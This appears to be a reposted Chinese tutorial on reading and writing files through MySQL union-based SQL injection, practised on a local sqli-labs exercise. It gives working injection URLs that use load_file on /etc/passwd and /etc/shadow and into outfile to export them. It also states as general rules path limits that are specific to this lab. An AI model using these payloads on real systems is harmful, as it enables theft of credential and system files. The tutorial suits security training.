mysql 报错注入 读文件_SQL注入-读写文件
SQL注入-讀取文件
使用函數 load_file("文件路徑/名稱")
1、讀取/etc/passwd 文件(SQL注入只能讀取/etc/passwd文件,不能讀取其他文件)
http://192.168.1.64/sqli-labs/Less-1/?id=-1' union select 1,load_file("/etc/passwd"),3 or '1'='1
2、若讀取其他文件則沒效果顯示
http://192.168.1.64/sqli-labs/Less-1/?id=-1' union select 1,load_file("/etc/shadow"),3 --+
SQL注入-寫入文件
使用語句 into outfile '/路徑/文件名',into outfile語句用于把表數據導出到一個文本文件中(路徑只能是/var/lib/mysql/,不能是其他的路徑)
1、將讀取的/etc/passwd文件寫入到/var/lib/mysql/中
# 將讀取的/etc/passwd文件寫入到/var/lib/mysql/;且1,3參數也會被寫入
http://192.168.1.64/sqli-labs/Less-1/?id=-1' union select 1,load_file("/etc/passwd"),3 into outfile "/var/lib/mysql/passwd" --+
cat /var/lib/mysql/passwd
2、若路徑寫為其他路徑則會報錯,如/opt/passwd
#Can't create/write to file '/opt/passwd' (Errcode: 2)
http://192.168.1.64/sqli-labs/Less-1/?id=-1' union select 1,load_file("/etc/passwd"),3 into outfile "/opt/passwd" --+
總結
以上是生活随笔為你收集整理的mysql 报错注入 读文件_SQL注入-读写文件的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: linux mysql 5.6.22_l
- 下一篇: 无法在流的结尾之外进行读取_IO流,字节